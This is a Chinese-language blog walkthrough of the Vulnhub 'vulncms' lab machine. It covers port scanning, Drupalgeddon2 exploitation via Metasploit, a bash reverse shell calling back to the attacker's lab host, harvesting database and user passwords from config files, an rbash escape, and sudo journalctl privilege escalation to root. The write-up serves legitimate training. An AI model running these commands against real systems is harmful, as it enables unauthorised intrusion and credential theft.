banner
言心吾

言心吾のBlog

吾言为心声

Vulnhub靶场复盘 - vulncms

信息收集#

端口扫描#

扫描命令如下:

nmap -sC -sV -p22,80,5000,8081,9001 -Pn -n -T4 -sT -oN nmapscan/detail 192.168.56.55

扫描结果如下:

Nmap scan report for 192.168.56.55
Host is up (0.00060s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8c:9f:7e:78:82:ef:76:f6:26:23:c9:52:6d:aa:fe:d0 (RSA)
|   256 2a:e2:f6:d2:52:1c:c1:d0:3d:aa:40:e6:b5:08:1d:45 (ECDSA)
|_  256 fa:c9:eb:58:e3:d2:b7:4a:74:77:fc:69:0e:b6:68:08 (ED25519)
80/tcp   open  http    nginx 1.14.0 (Ubuntu)
|_http-title: W3.CSS Template
|_http-server-header: nginx/1.14.0 (Ubuntu)
5000/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-generator: WordPress 5.7.2
|_http-title: fsociety – Just another WordPress site
8081/tcp open  http    nginx 1.14.0 (Ubuntu)
| http-robots.txt: 15 disallowed entries 
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: nginx/1.14.0 (Ubuntu)
9001/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: fsociety.web

从扫描结果可以看到,除了常见的 HTTP 服务(80 端口)外,目标机器还开放了其他几个与内容管理系统(CMS)相关的端口,包括:

  • WordPress:端口 5000
  • Joomla:端口 8081
  • Drupal:端口 9001

这表明该靶场包含了多个知名 CMS 系统,因此可以根据这些信息选择合适的攻击路径。

版本识别与漏洞分析#

首先,常规的思路一定是先目录扫描,可以发现潜在的后台路径和版本信息。然后重点就是 cms 版本分析,看看有没有可利用的 nday。

WordPress#

通过访问 http://fsociety.web:5000/rss/ 页面,我们能够看到 WordPress 框架的版本信息:5.7.2,其实直接使用 wappalyzer 插件也能获取版本信息。

image

然后通过 wpscan 工具进行扫描,

wpscan --url http://192.168.56.55:5000 -e u,vp --plugins-detection aggressive --api-token xxxxxxxx

没有发现特别严重的版本和插件漏洞。
image

image

Joomla#

使用 cmseek 对 Joomla 进行扫描,
image

得到版本为 Joomla 3.4.3。该版本存在远程代码执行(RCE)漏洞,能够通过特定的恶意请求来执行任意代码。

image

Joomla RCE Exploit

Drupal#

通过特定的路径http://192.168.56.55:9001/CHANGELOG.txt确认了 Drupal 版本为 7.54,这是一个广泛受到关注的版本,存在多个已知漏洞。

image

漏洞利用#

对于 Joomla,我尝试了 https://github.com/kiks7/rusty_joomla_rce 这个 POC
image

但没有成功。

然而,Drupal 7.54 存在一个著名的漏洞(Drupalgeddon2),可以通过 Metasploit 直接利用。利用该漏洞的方法如下:

  1. 启动 Metasploit 控制台:

    msfconsole
    
  2. 加载 Drupalgeddon2 漏洞模块:

    use exploit/unix/webapp/drupal_drupalgeddon2
    
  3. 设置目标信息:

    set RHOSTS 192.168.56.55
    set RPORT 9001
    set LHOST 192.168.56.100
    
  4. 执行攻击:

    run
    

成功后,即可获得目标系统 Initial Access 权限。

image

虽然 msf 提供的 shell -t 命令已经是一个非常好用的伪终端了,但我个人更倾向于反弹一个 shell 回来,这样更为灵活:

bash -c "bash -i /dev/tcp/192.168.56.100/4444 0>&1"

稳定并升级一下 shell:

image

提权#

首先,查看 /etc/passwd 文件中的用户信息,发现有一个 elliot 用户使用的是 rbash,需要留意。

www-data@vuln_cms:/opt$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ghost:x:1000:1000:tombstoneGhost:/home/ghost:/bin/bash
elliot:x:1001:1001::/home/elliot:/bin/rbash
tyrell:x:1002:1002::/home/tyrell:/bin/bash

寻找配置信息(用户密码)#

然后直接运行 linpeas,看看能否获得进一步的线索。很好,在 drupal 站点的 settings.php 文件中找到了数据库的凭据:

image

grep -C 5 'pass' /var/www/html/drupal/sites/default/settings.php

得到的数据库凭据为:

array (
  'default' => 
  array (
    'database' => 'drupal_db',
    'username' => 'drupal_admin',
    'password' => 'p@$$_C!rUP@!_cM5',
    'host' => 'localhost',
    'port' => '',
    'driver' => 'mysql',
    'prefix' => '',
  ),
)

通过连接到 MariaDB 数据库,查看了 drupal_db 中的 users 表,但发现该表的密码是加盐哈希,没有直接的价值。

MariaDB [drupal_db]> describe users;
+------------------+------------------+------+-----+---------+-------+
| Field            | Type             | Null | Key | Default | Extra |
+------------------+------------------+------+-----+---------+-------+
| uid              | int(10) unsigned | NO   | PRI | 0       |       |
| name             | varchar(60)      | NO   | UNI |         |       |
| pass             | varchar(128)     | NO   |     |         |       |
| mail             | varchar(254)     | YES  | MUL |         |       |
| theme            | varchar(255)     | NO   |     |         |       |
| signature        | varchar(255)     | NO   |     |         |       |
| signature_format | varchar(255)     | YES  |     | NULL    |       |
| created          | int(11)          | NO   | MUL | 0       |       |
| access           | int(11)          | NO   | MUL | 0       |       |
| login            | int(11)          | NO   |     | 0       |       |
| status           | tinyint(4)       | NO   |     | 0       |       |
| timezone         | varchar(32)      | YES  |     | NULL    |       |
| language         | varchar(12)      | NO   |     |         |       |
| picture          | int(11)          | NO   | MUL | 0       |       |
| init             | varchar(254)     | YES  |     |         |       |
| data             | longblob         | YES  |     | NULL    |       |
+------------------+------------------+------+-----+---------+-------+

MariaDB [drupal_db]> select name,pass from users;
+------------------+---------------------------------------------------------+
| name             | pass                                                    |
+------------------+---------------------------------------------------------+
|                  |                                                         |
| admin_cms_drupal | $S$DADmuahqIEcfhp8mqTQ/ystjAyQdBA46h/VXbd89wutU4aKRmNpi |
+------------------+---------------------------------------------------------+

接着,自然想到去看看 wordpress 的配置文件,同样获取了数据库的用户名和密码:

define( 'DB_USER', 'wp_admin' );
define( 'DB_PASSWORD', 'UUs3R_C!B@p@55' );

不过,通过查询 wp_users 表,发现密码依然是加盐哈希值,没有直接破解价值:

MariaDB [wordpress_db]> select user_login, user_pass from wp_users;
+-----------------+------------------------------------+
| user_login      | user_pass                          |
+-----------------+------------------------------------+
| wordpress_admin | $P$ByXz8klWHk6kmTctrN/8vfzXGqLfab/ |
+-----------------+------------------------------------+

对于 joomla,通过查看配置文件 configuration.php,获取了数据库凭据:

public $user = 'joomla_admin';
public $password = 'j00m1_@_dBpA$$';
public $db = 'joomla_db';

在数据库中查询了 hs23w_users 表,获取了两个用户的哈希密码,同样没有直接价值:

MariaDB [joomla_db]> select username, password from hs23w_users;
+-----------------+--------------------------------------------------------------+
| username        | password                                                     |
+-----------------+--------------------------------------------------------------+
| joomlaCMS_admin | $2y$10$EYc6SKfMLzlLE/IcD9a6XeAe2Uv7WTBFlbbqRrnpht1K0M1bLrWee |
| elliot          | $2y$10$jddnEQpjriJX9jPxh6C/hOag4ZZXae4iVhL7GVRPC9SHWgqbi4SYy |
+-----------------+--------------------------------------------------------------+

提权 - elliot 账户#

发现重要凭据#

/opt 目录下,发现了一个凭据文件 8081.cred,其中存储了 joomlaCMS_admin 的用户名和密码:

www-data@vuln_cms:/opt$ cat 8081.cred 
Username: joomlaCMS_admin
Password: _q4gWWJuBWt8cqfbUm-cdevR?L@N7-pR

使用这个凭据登录 Joomla 后台(注意一定要在后台登录):

http://192.168.56.55:8081/administrator/

image

登录成功后,发现了 elliot 用户的密码:5T3e!_M0un7i@N

image

绕过 rbash#

由于 elliot 用户是使用 rbash,我们尝试通过以下命令绕过这个限制:

ssh [email protected] -t bash

在家目录下成功读取 user flag

image

提权 - tyrell 账户#

继续进行信息收集和提权操作时,把常规的提权思路试了个遍,然而都没有取得成果。就在这时,突然想起还有另一个用户账户 tyrell,我决定检查下这个账户是否也隐藏有密码。

查找 tyrell 相关文件#

通过以下命令,我在系统中查找与 tyrell 相关的文件:

elliot@vuln_cms:~$ find / -iname '*tyrell*' -type f 2>/dev/null
/var/www/html/drupal/misc/tyrell.pass

发现了一个名为 tyrell.pass 的文件,接着查看其内容:

elliot@vuln_cms:~$ cat /var/www/html/drupal/misc/tyrell.pass
Username: tyrell
Password: mR_R0bo7_i5_R3@!_  

成功找到了 tyrell 的密码!

切换至 tyrell 用户#

使用获得的密码进行切换:

elliot@vuln_cms:~$ su - tyrell
Password: mR_R0bo7_i5_R3@!_
tyrell@vuln_cms:~$ id
uid=1002(tyrell) gid=1002(tyrell) groups=1002(tyrell)

此时,成功切换为 tyrell 用户。

sudo 提权#

检查 tyrell 用户是否有 sudo 权限:

tyrell@vuln_cms:~$ sudo -l
Matching Defaults entries for tyrell on vuln_cms:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User tyrell may run the following commands on vuln_cms:
    (root) NOPASSWD: /bin/journalctl

tyrell 用户可以无密码使用 sudo 执行 /bin/journalctl 命令。

先用 ls -lfilestrings 简单分析一下这个程序,然后我尝试直接运行程序,观察其行为:

image

发现调用了分页器显示内容。于是,直接通过 !bash 提权,就成功地以 root 权限获得了一个 Bash shell。

这个命令在 gtfobins 网站上也能找到相关的提权技巧
image

root 用户目录下,成功找到了 root.txt 文件,并成功读取文件中的 flag 值。

image

总结#

在渗透测试初期,我首先进行了 CMS 版本分析,并成功通过 Metasploit 利用 Drupal 的漏洞突破了边界。提权阶段,一开始分别查看了三个 CMS 的配置文件,并深入数据库进行搜索,尽管没有直接找到有用的信息,但这种思路依然是渗透测试中常用的路径。随后,在 /opt 目录下,我发现了 Joomla 后台的账号密码,并通过后台访问获得了 Elliot 用户的密码。

继续进行信息收集并查找系统中隐藏的密码文件后,我成功获得了 tyrell 用户的凭据。进一步分析后,发现该用户拥有 sudo 权限,能够执行 /bin/journalctl。借助这一点,我成功提权到 root,并最终获取了 root 目录下的 flag。

至此,整个渗透测试过程圆满结束!

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。